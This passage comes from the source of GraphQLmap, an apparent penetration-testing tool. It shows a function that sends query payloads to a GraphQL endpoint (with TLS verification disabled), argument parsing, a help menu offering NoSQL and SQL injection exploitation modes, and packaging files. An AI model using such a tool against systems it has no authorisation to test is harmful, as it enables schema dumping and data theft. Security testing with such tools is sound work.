= requests.post(url, data=new_data, verify=False, headers=new_headers, proxies=proxy) 38 | 39 | else: 40 | data = [] 41 | for i in range(is_batch): 42 | data.append( {"query": payload} ) 43 | 44 | r = requests.post(url, json=data, verify=False, headers=new_headers, proxies=proxy) 45 | 46 | 47 | if r.status_code == 500: 48 | print("\033[91m/!\ API didn't respond correctly to a POST method !\033[0m") 49 | return None 50 | else: 51 | r = requests.get(url + "?query={}".format(payload), verify=False, headers=headers, proxies=proxy) 52 | return r 53 | 54 | 55 | def parse_args(): 56 | parser = argparse.ArgumentParser() 57 | parser.add_argument('-u', action='store', dest='url', help="URL to query : example.com/graphql?query={}") 58 | parser.add_argument('-v', action='store', dest='verbosity', help="Enable verbosity", nargs='?', const=True) 59 | parser.add_argument('--method', action='store', dest='method', 60 | help="HTTP Method to use interact with /graphql endpoint", nargs='?', const=True, default="GET") 61 | parser.add_argument('--headers', action='store', dest='headers', help="HTTP Headers sent to /graphql endpoint", 62 | nargs='?', const=True, type=str) 63 | parser.add_argument('--json', action='store', dest='use_json', help="Use JSON encoding, implies POST", nargs='?', const=True, type=bool) 64 | parser.add_argument('--proxy', action='store', dest='proxy', 65 | help="HTTP proxy to log requests", nargs='?', const=True, default=None) 66 | 67 | results = parser.parse_args() 68 | if results.url is None: 69 | parser.print_help() 70 | exit() 71 | return results 72 | 73 | 74 | def display_help(): 75 | print("[+] \033[92mdump_via_introspection \033[0m: dump GraphQL schema (fragment+FullType)") 76 | print("[+] \033[92mdump_via_fragment \033[0m: dump GraphQL schema (IntrospectionQuery)") 77 | print("[+] \033[92mnosqli \033[0m: exploit a nosql injection inside a GraphQL query") 78 | print("[+] \033[92mpostgresqli \033[0m: exploit a sql injection inside a GraphQL query") 79 | print("[+] \033[92mmysqli \033[0m: exploit a sql injection inside a GraphQL query") 80 | print("[+] \033[92mmssqli \033[0m: exploit a sql injection inside a GraphQL query") 81 | print("[+] \033[92mexit \033[0m: gracefully exit the application") 82 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pyreadline ; sys_platform == 'win32' 2 | readline ; sys_platform !='win32' 3 | requests 4 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | import setuptools 2 | 3 | with open("README.md", "r") as fh: 4 | long_description = fh.read() 5 | 6 | setuptools.setup( 7 | name="graphqlmap", 8 | version="0.0.1", 9 | description="scripting engine to interact with a GraphQL endpoint for pentesting purposes", 10 | long_description=long_description, 11 | long_description_content_type="text/markdown", 12 | url="https://github.com/swisskyrepo/GraphQLmap", 13 | packages=setuptools.find_packages(), 14 | scripts=["bin/graphqlmap"], 15 | classifiers=[ 16 | "Programming Language :: Python :: 3", 17 | "License :: OSI Approved :: MIT License", 18 | "Operating System :: OS Independent", 19 | ], 20 | python_requires='>=3.6', 21 | ) --------------------------------------------------------------------------------